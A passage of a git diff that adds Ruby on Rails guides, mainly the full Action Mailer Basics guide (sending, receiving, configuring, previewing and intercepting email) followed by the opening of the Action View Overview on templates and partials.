+Sometime you might want to force a particular controller to only be accessible via an HTTPS protocol for security reasons. You can use the `force_ssl` method in your controller to enforce that:
+
+```ruby
+class DinnerController
+  force_ssl
+end
+```
+
+Just like the filter, you could also pass `:only` and `:except` to enforce the secure connection only to specific actions:
+
+```ruby
+class DinnerController
+  force_ssl only: :cheeseburger
+  # or
+  force_ssl except: :cheeseburger
+end
+```
+
+Please note that if you find yourself adding `force_ssl` to many controllers, you may want to force the whole application to use HTTPS instead. In that case, you can set the `config.force_ssl` in your environment file.
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+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Action Mailer Basics
+====================
+
+This guide provides you with all you need to get started in sending and
+receiving emails from and to your application, and many internals of Action
+Mailer. It also covers how to test your mailers.
+
+After reading this guide, you will know:
+
+* How to send and receive email within a Rails application.
+* How to generate and edit an Action Mailer class and mailer view.
+* How to configure Action Mailer for your environment.
+* How to test your Action Mailer classes.
+
+--------------------------------------------------------------------------------
+
+Introduction
+------------
+
+Action Mailer allows you to send emails from your application using mailer classes
+and views. Mailers work very similarly to controllers. They inherit from
+`ActionMailer::Base` and live in `app/mailers`, and they have associated views
+that appear in `app/views`.
+
+Sending Emails
+--------------
+
+This section will provide a step-by-step guide to creating a mailer and its
+views.
+
+### Walkthrough to Generating a Mailer
+
+#### Create the Mailer
+
+```bash
+$ bin/rails generate mailer UserMailer
+create  app/mailers/user_mailer.rb
+create  app/mailers/application_mailer.rb
+invoke  erb
+create    app/views/user_mailer
+create    app/views/layouts/mailer.text.erb
+create    app/views/layouts/mailer.html.erb
+invoke  test_unit
+create    test/mailers/user_mailer_test.rb
+create    test/mailers/previews/user_mailer_preview.rb
+```
+
+```ruby
+# app/mailers/application_mailer.rb
+class ApplicationMailer < ActionMailer::Base
+  default from: "from@example.com"
+  layout 'mailer'
+end
+
+# app/mailers/user_mailer.rb
+class UserMailer < ApplicationMailer
+end
+```
+
+As you can see, you can generate mailers just like you use other generators with
+Rails. Mailers are conceptually similar to controllers, and so we get a mailer,
+a directory for views, and a test.
+
+If you didn't want to use a generator, you could create your own file inside of
+app/mailers, just make sure that it inherits from `ActionMailer::Base`:
+
+```ruby
+class MyMailer < ActionMailer::Base
+end
+```
+
+#### Edit the Mailer
+
+Mailers are very similar to Rails controllers. They also have methods called
+"actions" and use views to structure the content. Where a controller generates
+content like HTML to send back to the client, a Mailer creates a message to be
+delivered via email.
+
+`app/mailers/user_mailer.rb` contains an empty mailer:
+
+```ruby
+class UserMailer < ApplicationMailer
+end
+```
+
+Let's add a method called `welcome_email`, that will send an email to the user's
+registered email address:
+
+```ruby
+class UserMailer < ApplicationMailer
+  default from: 'notifications@example.com'
+
+  def welcome_email(user)
+    @user = user
+    @url  = 'http://example.com/login'
+    mail(to: @user.email, subject: 'Welcome to My Awesome Site')
+  end
+end
+```
+
+Here is a quick explanation of the items presented in the preceding method. For
+a full list of all available options, please have a look further down at the
+Complete List of Action Mailer user-settable attributes section.
+
+* `default Hash` - This is a hash of default values for any email you send from
+this mailer. In this case we are setting the `:from` header to a value for all
+messages in this class. This can be overridden on a per-email basis.
+* `mail` - The actual email message, we are passing the `:to` and `:subject`
+headers in.
+
+Just like controllers, any instance variables we define in the method become
+available for use in the views.
+
+#### Create a Mailer View
+
+Create a file called `welcome_email.html.erb` in `app/views/user_mailer/`. This
+will be the template used for the email, formatted in HTML:
+
+```html+erb
+<!DOCTYPE html>
+<html>
+  <head>
+    <meta content='text/html; charset=UTF-8' http-equiv='Content-Type' />
+  </head>
+  <body>
+    <h1>Welcome to example.com, <%= @user.name %></h1>
+    <p>
+      You have successfully signed up to example.com,
+      your username is: <%= @user.login %>.<br>
+    </p>
+    <p>
+      To login to the site, just follow this link: <%= @url %>.
+    </p>
+    <p>Thanks for joining and have a great day!</p>
+  </body>
+</html>
+```
+
+Let's also make a text part for this email. Not all clients prefer HTML emails,
+and so sending both is best practice. To do this, create a file called
+`welcome_email.text.erb` in `app/views/user_mailer/`:
+
+```erb
+Welcome to example.com, <%= @user.name %>
+===============================================
+
+You have successfully signed up to example.com,
+your username is: <%= @user.login %>.
+
+To login to the site, just follow this link: <%= @url %>.
+
+Thanks for joining and have a great day!
+```
+
+When you call the `mail` method now, Action Mailer will detect the two templates
+(text and HTML) and automatically generate a `multipart/alternative` email.
+
+#### Calling the Mailer
+
+Mailers are really just another way to render a view. Instead of rendering a
+view and sending it over the HTTP protocol, they are just sending it out through
+the email protocols instead. Due to this, it makes sense to just have your
+controller tell the Mailer to send an email when a user is successfully created.
+
+Setting this up is painfully simple.
+
+First, let's create a simple `User` scaffold:
+
+```bash
+$ bin/rails generate scaffold user name email login
+$ bin/rails db:migrate
+```
+
+Now that we have a user model to play with, we will just edit the
+`app/controllers/users_controller.rb` make it instruct the `UserMailer` to deliver
+an email to the newly created user by editing the create action and inserting a
+call to `UserMailer.welcome_email` right after the user is successfully saved.
+
+Action Mailer is nicely integrated with Active Job so you can send emails outside
+of the request-response cycle, so the user doesn't have to wait on it:
+
+```ruby
+class UsersController < ApplicationController
+  # POST /users
+  # POST /users.json
+  def create
+    @user = User.new(params[:user])
+
+    respond_to do |format|
+      if @user.save
+        # Tell the UserMailer to send a welcome email after save
+        UserMailer.welcome_email(@user).deliver_later
+
+        format.html { redirect_to(@user, notice: 'User was successfully created.') }
+        format.json { render json: @user, status: :created, location: @user }
+      else
+        format.html { render action: 'new' }
+        format.json { render json: @user.errors, status: :unprocessable_entity }
+      end
+    end
+  end
+end
+```
+
+NOTE: Active Job's default behavior is to execute jobs via the `:async` adapter. So, you can use
+`deliver_later` now to send emails asynchronously.
+Active Job's default adapter runs jobs with an in-process thread pool.
+It's well-suited for the development/test environments, since it doesn't require
+any external infrastructure, but it's a poor fit for production since it drops
+pending jobs on restart.
+If you need a persistent backend, you will need to use an Active Job adapter
+that has a persistent backend (Sidekiq, Resque, etc).
+
+If you want to send emails right away (from a cronjob for example) just call
+`deliver_now`:
+
+```ruby
+class SendWeeklySummary
+  def run
+    User.find_each do |user|
+      UserMailer.weekly_summary(user).deliver_now
+    end
+  end
+end
+```
+
+The method `welcome_email` returns an `ActionMailer::MessageDelivery` object which
+can then just be told `deliver_now` or `deliver_later` to send itself out. The
+`ActionMailer::MessageDelivery` object is just a wrapper around a `Mail::Message`. If
+you want to inspect, alter or do anything else with the `Mail::Message` object you can
+access it with the `message` method on the `ActionMailer::MessageDelivery` object.
+
+### Auto encoding header values
+
+Action Mailer handles the auto encoding of multibyte characters inside of
+headers and bodies.
+
+For more complex examples such as defining alternate character sets or
+self-encoding text first, please refer to the
+[Mail](https://github.com/mikel/mail) library.
+
+### Complete List of Action Mailer Methods
+
+There are just three methods that you need to send pretty much any email
+message:
+
+* `headers` - Specifies any header on the email you want. You can pass a hash of
+  header field names and value pairs, or you can call `headers[:field_name] =
+  'value'`.
+* `attachments` - Allows you to add attachments to your email. For example,
+  `attachments['file-name.jpg'] = File.read('file-name.jpg')`.
+* `mail` - Sends the actual email itself. You can pass in headers as a hash to
+  the mail method as a parameter, mail will then create an email, either plain
+  text, or multipart, depending on what email templates you have defined.
+
+#### Adding Attachments
+
+Action Mailer makes it very easy to add attachments.
+
+* Pass the file name and content and Action Mailer and the
+  [Mail gem](https://github.com/mikel/mail) will automatically guess the
+  mime_type, set the encoding and create the attachment.
+
+    ```ruby
+    attachments['filename.jpg'] = File.read('/path/to/filename.jpg')
+    ```
+
+  When the `mail` method will be triggered, it will send a multipart email with
+  an attachment, properly nested with the top level being `multipart/mixed` and
+  the first part being a `multipart/alternative` containing the plain text and
+  HTML email messages.
+
+NOTE: Mail will automatically Base64 encode an attachment. If you want something
+different, encode your content and pass in the encoded content and encoding in a
+`Hash` to the `attachments` method.
+
+* Pass the file name and specify headers and content and Action Mailer and Mail
+  will use the settings you pass in.
+
+    ```ruby
+    encoded_content = SpecialEncode(File.read('/path/to/filename.jpg'))
+    attachments['filename.jpg'] = {
+      mime_type: 'application/gzip',
+      encoding: 'SpecialEncoding',
+      content: encoded_content
+    }
+    ```
+
+NOTE: If you specify an encoding, Mail will assume that your content is already
+encoded and not try to Base64 encode it.
+
+#### Making Inline Attachments
+
+Action Mailer 3.0 makes inline attachments, which involved a lot of hacking in pre 3.0 versions, much simpler and trivial as they should be.
+
+* First, to tell Mail to turn an attachment into an inline attachment, you just call `#inline` on the attachments method within your Mailer:
+
+    ```ruby
+    def welcome
+      attachments.inline['image.jpg'] = File.read('/path/to/image.jpg')
+    end
+    ```
+
+* Then in your view, you can just reference `attachments` as a hash and specify
+  which attachment you want to show, calling `url` on it and then passing the
+  result into the `image_tag` method:
+
+    ```html+erb
+    <p>Hello there, this is our image</p>
+
+    <%= image_tag attachments['image.jpg'].url %>
+    ```
+
+* As this is a standard call to `image_tag` you can pass in an options hash
+  after the attachment URL as you could for any other image:
+
+    ```html+erb
+    <p>Hello there, this is our image</p>
+
+    <%= image_tag attachments['image.jpg'].url, alt: 'My Photo', class: 'photos' %>
+    ```
+
+#### Sending Email To Multiple Recipients
+
+It is possible to send email to one or more recipients in one email (e.g.,
+informing all admins of a new signup) by setting the list of emails to the `:to`
+key. The list of emails can be an array of email addresses or a single string
+with the addresses separated by commas.
+
+```ruby
+class AdminMailer < ApplicationMailer
+  default to: Proc.new { Admin.pluck(:email) },
+          from: 'notification@example.com'
+
+  def new_registration(user)
+    @user = user
+    mail(subject: "New User Signup: #{@user.email}")
+  end
+end
+```
+
+The same format can be used to set carbon copy (Cc:) and blind carbon copy
+(Bcc:) recipients, by using the `:cc` and `:bcc` keys respectively.
+
+#### Sending Email With Name
+
+Sometimes you wish to show the name of the person instead of just their email
+address when they receive the email. The trick to doing that is to format the
+email address in the format `"Full Name" <email>`.
+
+```ruby
+def welcome_email(user)
+  @user = user
+  email_with_name = %("#{@user.name}" <#{@user.email}>)
+  mail(to: email_with_name, subject: 'Welcome to My Awesome Site')
+end
+```
+
+### Mailer Views
+
+Mailer views are located in the `app/views/name_of_mailer_class` directory. The
+specific mailer view is known to the class because its name is the same as the
+mailer method. In our example from above, our mailer view for the
+`welcome_email` method will be in `app/views/user_mailer/welcome_email.html.erb`
+for the HTML version and `welcome_email.text.erb` for the plain text version.
+
+To change the default mailer view for your action you do something like:
+
+```ruby
+class UserMailer < ApplicationMailer
+  default from: 'notifications@example.com'
+
+  def welcome_email(user)
+    @user = user
+    @url  = 'http://example.com/login'
+    mail(to: @user.email,
+         subject: 'Welcome to My Awesome Site',
+         template_path: 'notifications',
+         template_name: 'another')
+  end
+end
+```
+
+In this case it will look for templates at `app/views/notifications` with name
+`another`.  You can also specify an array of paths for `template_path`, and they
+will be searched in order.
+
+If you want more flexibility you can also pass a block and render specific
+templates or even render inline or text without using a template file:
+
+```ruby
+class UserMailer < ApplicationMailer
+  default from: 'notifications@example.com'
+
+  def welcome_email(user)
+    @user = user
+    @url  = 'http://example.com/login'
+    mail(to: @user.email,
+         subject: 'Welcome to My Awesome Site') do |format|
+      format.html { render 'another_template' }
+      format.text { render plain: 'Render text' }
+    end
+  end
+end
+```
+
+This will render the template 'another_template.html.erb' for the HTML part and
+use the rendered text for the text part. The render command is the same one used
+inside of Action Controller, so you can use all the same options, such as
+`:text`, `:inline` etc.
+
+#### Caching mailer view
+
+You can do cache in mailer views like in application views using `cache` method.
+
+```
+<% cache do %>
+  <%= @company.name %>
+<% end %>
+```
+
+And in order to use this feature, you need to configure your application with this:
+
+```
+  config.action_mailer.perform_caching = true
+```
+
+### Action Mailer Layouts
+
+Just like controller views, you can also have mailer layouts. The layout name
+needs to be the same as your mailer, such as `user_mailer.html.erb` and
+`user_mailer.text.erb` to be automatically recognized by your mailer as a
+layout.
+
+In order to use a different file, call `layout` in your mailer:
+
+```ruby
+class UserMailer < ApplicationMailer
+  layout 'awesome' # use awesome.(html|text).erb as the layout
+end
+```
+
+Just like with controller views, use `yield` to render the view inside the
+layout.
+
+You can also pass in a `layout: 'layout_name'` option to the render call inside
+the format block to specify different layouts for different formats:
+
+```ruby
+class UserMailer < ApplicationMailer
+  def welcome_email(user)
+    mail(to: user.email) do |format|
+      format.html { render layout: 'my_layout' }
+      format.text
+    end
+  end
+end
+```
+
+Will render the HTML part using the `my_layout.html.erb` file and the text part
+with the usual `user_mailer.text.erb` file if it exists.
+
+### Previewing Emails
+
+Action Mailer previews provide a way to see how emails look by visiting a
+special URL that renders them. In the above example, the preview class for
+`UserMailer` should be named `UserMailerPreview` and located in
+`test/mailers/previews/user_mailer_preview.rb`. To see the preview of
+`welcome_email`, implement a method that has the same name and call
+`UserMailer.welcome_email`:
+
+```ruby
+class UserMailerPreview < ActionMailer::Preview
+  def welcome_email
+    UserMailer.welcome_email(User.first)
+  end
+end
+```
+
+Then the preview will be available in <http://localhost:3000/rails/mailers/user_mailer/welcome_email>.
+
+If you change something in `app/views/user_mailer/welcome_email.html.erb`
+or the mailer itself, it'll automatically reload and render it so you can
+visually see the new style instantly. A list of previews are also available
+in <http://localhost:3000/rails/mailers>.
+
+By default, these preview classes live in `test/mailers/previews`.
+This can be configured using the `preview_path` option. For example, if you
+want to change it to `lib/mailer_previews`, you can configure it in
+`config/application.rb`:
+
+```ruby
+config.action_mailer.preview_path = "#{Rails.root}/lib/mailer_previews"
+```
+
+### Generating URLs in Action Mailer Views
+
+Unlike controllers, the mailer instance doesn't have any context about the
+incoming request so you'll need to provide the `:host` parameter yourself.
+
+As the `:host` usually is consistent across the application you can configure it
+globally in `config/application.rb`:
+
+```ruby
+config.action_mailer.default_url_options = { host: 'example.com' }
+```
+
+Because of this behavior you cannot use any of the `*_path` helpers inside of
+an email. Instead you will need to use the associated `*_url` helper. For example
+instead of using
+
+```
+<%= link_to 'welcome', welcome_path %>
+```
+
+You will need to use:
+
+```
+<%= link_to 'welcome', welcome_url %>
+```
+
+By using the full URL, your links will now work in your emails.
+
+#### Generating URLs with `url_for`
+
+`url_for` generates a full URL by default in templates.
+
+If you did not configure the `:host` option globally make sure to pass it to
+`url_for`.
+
+
+```erb
+<%= url_for(host: 'example.com',
+            controller: 'welcome',
+            action: 'greeting') %>
+```
+
+#### Generating URLs with Named Routes
+
+Email clients have no web context and so paths have no base URL to form complete
+web addresses. Thus, you should always use the "_url" variant of named route
+helpers.
+
+If you did not configure the `:host` option globally make sure to pass it to the
+url helper.
+
+```erb
+<%= user_url(@user, host: 'example.com') %>
+```
+
+NOTE: non-`GET` links require [rails-ujs](https://github.com/rails/rails/blob/master/actionview/app/assets/javascripts) or
+[jQuery UJS](https://github.com/rails/jquery-ujs), and won't work in mailer templates.
+They will result in normal `GET` requests.
+
+### Adding images in Action Mailer Views
+
+Unlike controllers, the mailer instance doesn't have any context about the
+incoming request so you'll need to provide the `:asset_host` parameter yourself.
+
+As the `:asset_host` usually is consistent across the application you can
+configure it globally in config/application.rb:
+
+```ruby
+config.action_mailer.asset_host = 'http://example.com'
+```
+
+Now you can display an image inside your email.
+
+```ruby
+<%= image_tag 'image.jpg' %>
+```
+
+### Sending Multipart Emails
+
+Action Mailer will automatically send multipart emails if you have different
+templates for the same action. So, for our `UserMailer` example, if you have
+`welcome_email.text.erb` and `welcome_email.html.erb` in
+`app/views/user_mailer`, Action Mailer will automatically send a multipart email
+with the HTML and text versions setup as different parts.
+
+The order of the parts getting inserted is determined by the `:parts_order`
+inside of the `ActionMailer::Base.default` method.
+
+### Sending Emails with Dynamic Delivery Options
+
+If you wish to override the default delivery options (e.g. SMTP credentials)
+while delivering emails, you can do this using `delivery_method_options` in the
+mailer action.
+
+```ruby
+class UserMailer < ApplicationMailer
+  def welcome_email(user, company)
+    @user = user
+    @url  = user_url(@user)
+    delivery_options = { user_name: company.smtp_user,
+                         password: company.smtp_password,
+                         address: company.smtp_host }
+    mail(to: @user.email,
+         subject: "Please see the Terms and Conditions attached",
+         delivery_method_options: delivery_options)
+  end
+end
+```
+
+### Sending Emails without Template Rendering
+
+There may be cases in which you want to skip the template rendering step and
+supply the email body as a string. You can achieve this using the `:body`
+option. In such cases don't forget to add the `:content_type` option. Rails
+will default to `text/plain` otherwise.
+
+```ruby
+class UserMailer < ApplicationMailer
+  def welcome_email(user, email_body)
+    mail(to: user.email,
+         body: email_body,
+         content_type: "text/html",
+         subject: "Already rendered!")
+  end
+end
+```
+
+Receiving Emails
+----------------
+
+Receiving and parsing emails with Action Mailer can be a rather complex
+endeavor. Before your email reaches your Rails app, you would have had to
+configure your system to somehow forward emails to your app, which needs to be
+listening for that. So, to receive emails in your Rails app you'll need to:
+
+* Implement a `receive` method in your mailer.
+
+* Configure your email server to forward emails from the address(es) you would
+  like your app to receive to `/path/to/app/bin/rails runner
+  'UserMailer.receive(STDIN.read)'`.
+
+Once a method called `receive` is defined in any mailer, Action Mailer will
+parse the raw incoming email into an email object, decode it, instantiate a new
+mailer, and pass the email object to the mailer `receive` instance
+method. Here's an example:
+
+```ruby
+class UserMailer < ApplicationMailer
+  def receive(email)
+    page = Page.find_by(address: email.to.first)
+    page.emails.create(
+      subject: email.subject,
+      body: email.body
+    )
+
+    if email.has_attachments?
+      email.attachments.each do |attachment|
+        page.attachments.create({
+          file: attachment,
+          description: email.subject
+        })
+      end
+    end
+  end
+end
+```
+
+Action Mailer Callbacks
+---------------------------
+
+Action Mailer allows for you to specify a `before_action`, `after_action` and
+`around_action`.
+
+* Filters can be specified with a block or a symbol to a method in the mailer
+  class similar to controllers.
+
+* You could use a `before_action` to populate the mail object with defaults,
+  delivery_method_options or insert default headers and attachments.
+
+* You could use an `after_action` to do similar setup as a `before_action` but
+  using instance variables set in your mailer action.
+
+```ruby
+class UserMailer < ApplicationMailer
+  after_action :set_delivery_options,
+               :prevent_delivery_to_guests,
+               :set_business_headers
+
+  def feedback_message(business, user)
+    @business = business
+    @user = user
+    mail
+  end
+
+  def campaign_message(business, user)
+    @business = business
+    @user = user
+  end
+
+  private
+
+    def set_delivery_options
+      # You have access to the mail instance,
+      # @business and @user instance variables here
+      if @business && @business.has_smtp_settings?
+        mail.delivery_method.settings.merge!(@business.smtp_settings)
+      end
+    end
+
+    def prevent_delivery_to_guests
+      if @user && @user.guest?
+        mail.perform_deliveries = false
+      end
+    end
+
+    def set_business_headers
+      if @business
+        headers["X-SMTPAPI-CATEGORY"] = @business.code
+      end
+    end
+end
+```
+
+* Mailer Filters abort further processing if body is set to a non-nil value.
+
+Using Action Mailer Helpers
+---------------------------
+
+Action Mailer now just inherits from `AbstractController`, so you have access to
+the same generic helpers as you do in Action Controller.
+
+Action Mailer Configuration
+---------------------------
+
+The following configuration options are best made in one of the environment
+files (environment.rb, production.rb, etc...)
+
+| Configuration | Description |
+|---------------|-------------|
+|`logger`|Generates information on the mailing run if available. Can be set to `nil` for no logging. Compatible with both Ruby's own `Logger` and `Log4r` loggers.|
+|`smtp_settings`|Allows detailed configuration for `:smtp` delivery method:<ul><li>`:address` - Allows you to use a remote mail server. Just change it from its default `"localhost"` setting.</li><li>`:port` - On the off chance that your mail server doesn't run on port 25, you can change it.</li><li>`:domain` - If you need to specify a HELO domain, you can do it here.</li><li>`:user_name` - If your mail server requires authentication, set the username in this setting.</li><li>`:password` - If your mail server requires authentication, set the password in this setting.</li><li>`:authentication` - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of `:plain` (will send the password in the clear), `:login` (will send password Base64 encoded) or `:cram_md5` (combines a Challenge/Response mechanism to exchange information and a cryptographic Message Digest 5 algorithm to hash important information)</li><li>`:enable_starttls_auto` - Detects if STARTTLS is enabled in your SMTP server and starts to use it. Defaults to `true`.</li><li>`:openssl_verify_mode` - When using TLS, you can set how OpenSSL checks the certificate. This is really useful if you need to validate a self-signed and/or a wildcard certificate. You can use the name of an OpenSSL verify constant ('none' or 'peer') or directly the constant (`OpenSSL::SSL::VERIFY_NONE` or `OpenSSL::SSL::VERIFY_PEER`).</li></ul>|
+|`sendmail_settings`|Allows you to override options for the `:sendmail` delivery method.<ul><li>`:location` - The location of the sendmail executable. Defaults to `/usr/sbin/sendmail`.</li><li>`:arguments` - The command line arguments to be passed to sendmail. Defaults to `-i`.</li></ul>|
+|`raise_delivery_errors`|Whether or not errors should be raised if the email fails to be delivered. This only works if the external email server is configured for immediate delivery.|
+|`delivery_method`|Defines a delivery method. Possible values are:<ul><li>`:smtp` (default), can be configured by using `config.action_mailer.smtp_settings`.</li><li>`:sendmail`, can be configured by using `config.action_mailer.sendmail_settings`.</li><li>`:file`: save emails to files; can be configured by using `config.action_mailer.file_settings`.</li><li>`:test`: save emails to `ActionMailer::Base.deliveries` array.</li></ul>See [API docs](http://api.rubyonrails.org/classes/ActionMailer/Base.html) for more info.|
+|`perform_deliveries`|Determines whether deliveries are actually carried out when the `deliver` method is invoked on the Mail message. By default they are, but this can be turned off to help functional testing.|
+|`deliveries`|Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit and functional testing.|
+|`default_options`|Allows you to set default values for the `mail` method options (`:from`, `:reply_to`, etc.).|
+
+For a complete writeup of possible configurations see the
+[Configuring Action Mailer](configuring.html#configuring-action-mailer) in
+our Configuring Rails Applications guide.
+
+### Example Action Mailer Configuration
+
+An example would be adding the following to your appropriate
+`config/environments/$RAILS_ENV.rb` file:
+
+```ruby
+config.action_mailer.delivery_method = :sendmail
+# Defaults to:
+# config.action_mailer.sendmail_settings = {
+#   location: '/usr/sbin/sendmail',
+#   arguments: '-i'
+# }
+config.action_mailer.perform_deliveries = true
+config.action_mailer.raise_delivery_errors = true
+config.action_mailer.default_options = {from: 'no-reply@example.com'}
+```
+
+### Action Mailer Configuration for Gmail
+
+As Action Mailer now uses the [Mail gem](https://github.com/mikel/mail), this
+becomes as simple as adding to your `config/environments/$RAILS_ENV.rb` file:
+
+```ruby
+config.action_mailer.delivery_method = :smtp
+config.action_mailer.smtp_settings = {
+  address:              'smtp.gmail.com',
+  port:                 587,
+  domain:               'example.com',
+  user_name:            '<username>',
+  password:             '<password>',
+  authentication:       'plain',
+  enable_starttls_auto: true  }
+```
+Note: As of July 15, 2014, Google increased [its security measures](https://support.google.com/accounts/answer/6010255) and now blocks attempts from apps it deems less secure.
+You can change your Gmail settings [here](https://www.google.com/settings/security/lesssecureapps) to allow the attempts. If your Gmail account has 2-factor authentication enabled,
+then you will need to set an [app password](https://myaccount.google.com/apppasswords) and use that instead of your regular password. Alternatively, you can
+use another ESP to send email by replacing 'smtp.gmail.com' above with the address of your provider.
+
+Mailer Testing
+--------------
+
+You can find detailed instructions on how to test your mailers in the
+[testing guide](testing.html#testing-your-mailers).
+
+Intercepting Emails
+-------------------
+
+There are situations where you need to edit an email before it's
+delivered. Fortunately Action Mailer provides hooks to intercept every
+email. You can register an interceptor to make modifications to mail messages
+right before they are handed to the delivery agents.
+
+```ruby
+class SandboxEmailInterceptor
+  def self.delivering_email(message)
+    message.to = ['sandbox@example.com']
+  end
+end
+```
+
+Before the interceptor can do its job you need to register it with the Action
+Mailer framework. You can do this in an initializer file
+`config/initializers/sandbox_email_interceptor.rb`
+
+```ruby
+if Rails.env.staging?
+  ActionMailer::Base.register_interceptor(SandboxEmailInterceptor)
+end
+```
+
+NOTE: The example above uses a custom environment called "staging" for a
+production like server but for testing purposes. You can read
+[Creating Rails environments](configuring.html#creating-rails-environments)
+for more information about custom Rails environments.
diff --git a/guides/source/action_view_overview.md b/guides/source/action_view_overview.md
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@@ -0,0 +1,1511 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Action View Overview
+====================
+
+After reading this guide, you will know:
+
+* What Action View is and how to use it with Rails.
+* How best to use templates, partials, and layouts.
+* What helpers are provided by Action View and how to make your own.
+* How to use localized views.
+
+--------------------------------------------------------------------------------
+
+What is Action View?
+--------------------
+
+In Rails, web requests are handled by [Action Controller](action_controller_overview.html) and Action View. Typically, Action Controller is concerned with communicating with the database and performing CRUD actions where necessary. Action View is then responsible for compiling the response.
+
+Action View templates are written using embedded Ruby in tags mingled with HTML. To avoid cluttering the templates with boilerplate code, a number of helper classes provide common behavior for forms, dates, and strings. It's also easy to add new helpers to your application as it evolves.
+
+NOTE: Some features of Action View are tied to Active Record, but that doesn't mean Action View depends on Active Record. Action View is an independent package that can be used with any sort of Ruby libraries.
+
+Using Action View with Rails
+----------------------------
+
+For each controller there is an associated directory in the `app/views` directory which holds the template files that make up the views associated with that controller. These files are used to display the view that results from each controller action.
+
+Let's take a look at what Rails does by default when creating a new resource using the scaffold generator:
+
+```bash
+$ bin/rails generate scaffold article
+      [...]
+      invoke  scaffold_controller
+      create    app/controllers/articles_controller.rb
+      invoke    erb
+      create      app/views/articles
+      create      app/views/articles/index.html.erb
+      create      app/views/articles/edit.html.erb
+      create      app/views/articles/show.html.erb
+      create      app/views/articles/new.html.erb
+      create      app/views/articles/_form.html.erb
+      [...]
+```
+
+There is a naming convention for views in Rails. Typically, the views share their name with the associated controller action, as you can see above.
+For example, the index controller action of the `articles_controller.rb` will use the `index.html.erb` view file in the `app/views/articles` directory.
+The complete HTML returned to the client is composed of a combination of this ERB file, a layout template that wraps it, and all the partials that the view may reference. Within this guide you will find more detailed documentation about each of these three components.
+
+
+Templates, Partials and Layouts
+-------------------------------
+
+As mentioned, the final HTML output is a composition of three Rails elements: `Templates`, `Partials` and `Layouts`.
+Below is a brief overview of each of them.
+
+### Templates
+
+Action View templates can be written in several ways. If the template file has a `.erb` extension then it uses a mixture of ERB (Embedded Ruby) and HTML. If the template file has a `.builder` extension then the `Builder::XmlMarkup` library is used.
+
+Rails supports multiple template systems and uses a file extension to distinguish amongst them. For example, an HTML file using the ERB template system will have `.html.erb` as a file extension.
+
+#### ERB
+
+Within an ERB template, Ruby code can be included using both `<% %>` and `<%= %>` tags. The `<% %>` tags are used to execute Ruby code that does not return anything, such as conditions, loops or blocks, and the `<%= %>` tags are used when you want output.
+
+Consider the following loop for names:
+
+```html+erb
+<h1>Names of all the people</h1>
+<% @people.each do |person| %>
+  Name: <%= person.name %><br>
+<% end %>
+```
+
+The loop is set up using regular embedding tags (`<% %>`) and the name is inserted using the output embedding tags (`<%= %>`). Note that this is not just a usage suggestion: regular output functions such as `print` and `puts` won't be rendered to the view with ERB templates. So this would be wrong:
+
+```html+erb
+<%# WRONG %>
+Hi, Mr. <% puts "Frodo" %>
+```
+
+To suppress leading and trailing whitespaces, you can use `<%-` `-%>` interchangeably with `<%` and `%>`.
+
+#### Builder
+
+Builder templates are a more programmatic alternative to ERB. They are especially useful for generating XML content. An XmlMarkup object named `xml` is automatically made available to templates with a `.builder` extension.
+
+Here are some basic examples:
+
+```ruby
+xml.em("emphasized")
+xml.em { xml.b("emph & bold") }
+xml.a("A Link", "href" => "http://rubyonrails.org")
+xml.target("name" => "compile", "option" => "fast")
+```
+
+which would produce:
+
+```html
+<em>emphasized</em>
+<em><b>emph &amp; bold</b></em>
+<a href="http://rubyonrails.org">A link</a>
+<target option="fast" name="compile" />
+```
+
+Any method with a block will be treated as an XML markup tag with nested markup in the block. For example, the following:
+
+```ruby
+xml.div {
+  xml.h1(@person.name)
+  xml.p(@person.bio)
+}
+```
+
+would produce something like:
+
+```html
+<div>
+  <h1>David Heinemeier Hansson</h1>
+  <p>A product of Danish Design during the Winter of '79...</p>
+</div>
+```
+
+Below is a full-length RSS example actually used on Basecamp:
+
+```ruby
+xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/elements/1.1/") do
+  xml.channel do
+    xml.title(@feed_title)
+    xml.link(@url)
+    xml.description "Basecamp: Recent items"
+    xml.language "en-us"
+    xml.ttl "40"
+
+    for item in @recent_items
+      xml.item do
+        xml.title(item_title(item))
+        xml.description(item_description(item)) if item_description(item)
+        xml.pubDate(item_pubDate(item))
+        xml.guid(@person.firm.account.url + @recent_items.url(item))
+        xml.link(@person.firm.account.url + @recent_items.url(item))
+        xml.tag!("dc:creator", item.author_name) if item_has_creator?(item)
+      end
+    end
+  end
+end
+```
+
+#### Jbuilder
+[Jbuilder](https://github.com/rails/jbuilder) is a gem that's
+maintained by the Rails team and included in the default Rails Gemfile.
+It's similar to Builder, but is used to generate JSON, instead of XML.
+
+If you don't have it, you can add the following to your Gemfile:
+
+```ruby
+gem 'jbuilder'
+```
+
+A Jbuilder object named `json` is automatically made available to templates with
+a `.jbuilder` extension.
+
+Here is a basic example:
+
+```ruby
+json.name("Alex")
+json.email("alex@example.com")
+```
+
+would produce:
+
+```json
+{
+  "name": "Alex",
+  "email": "alex@example.com"
+}
+```
+
+See the [Jbuilder documentation](https://github.com/rails/jbuilder#jbuilder) for
+more examples and information.
+
+#### Template Caching
+
+By default, Rails will compile each template to a method in order to render it. When you alter a template, Rails will check the file's modification time and recompile it in development mode.
+
+### Partials
+
+Partial templates - usually just called "partials" - are another device for breaking the rendering process into more manageable chunks. With partials, you can extract pieces of code from your templates to separate files and also reuse them throughout your templates.
+
+#### Naming Partials
+
+To render a partial as part of a view, you use the `render` method within the view:
+
+```erb
+<%= render "menu" %>
+```
+
+This will render a file named `_menu.html.erb` at that point within the view that is being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder:
+
+```erb
+<%= render "shared/menu" %>
+```
+
+That code will pull in the partial from `app/views/shared/_menu.html.erb`.
+
+#### Using Partials to simplify Views
+
+One way to use partials is to treat them as the equivalent of subroutines; a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looks like this:
+
+```html+erb
+<%= render "shared/ad_banner" %>
+
+<h1>Products</h1>
+
+<p>Here are a few of our fine products:</p>
+<% @products.each do |product| %>
+  <%= render partial: "product", locals: { product: product } %>
+<% end %>
+
+<%= render "shared/footer" %>
+```
+
